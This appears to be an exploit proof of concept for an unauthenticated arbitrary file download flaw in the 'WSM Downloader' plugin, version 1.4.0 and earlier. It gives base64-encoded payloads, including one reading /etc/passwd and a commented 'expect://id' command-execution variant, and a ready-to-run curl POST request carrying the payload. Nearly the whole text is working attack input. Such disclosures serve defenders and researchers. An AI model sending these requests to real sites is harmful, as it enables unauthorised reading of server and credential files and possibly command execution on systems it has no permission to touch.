WSM Downloader <= 1.4.0 - Unauthenticated Arbitrary File Download

# Base64 encode your payload, for example

# Base64(expect://id) -> ZXhwZWN0Oi8vaWQ= (requires the "expect" PECL extension to be installed)
Base64(/etc/passwd) -> L2V0Yy9wYXNzd2Q=

curl -v -d "dl=L2V0Yy9wYXNzd2Q=&size=200&type=text/plain"  https://example.com/page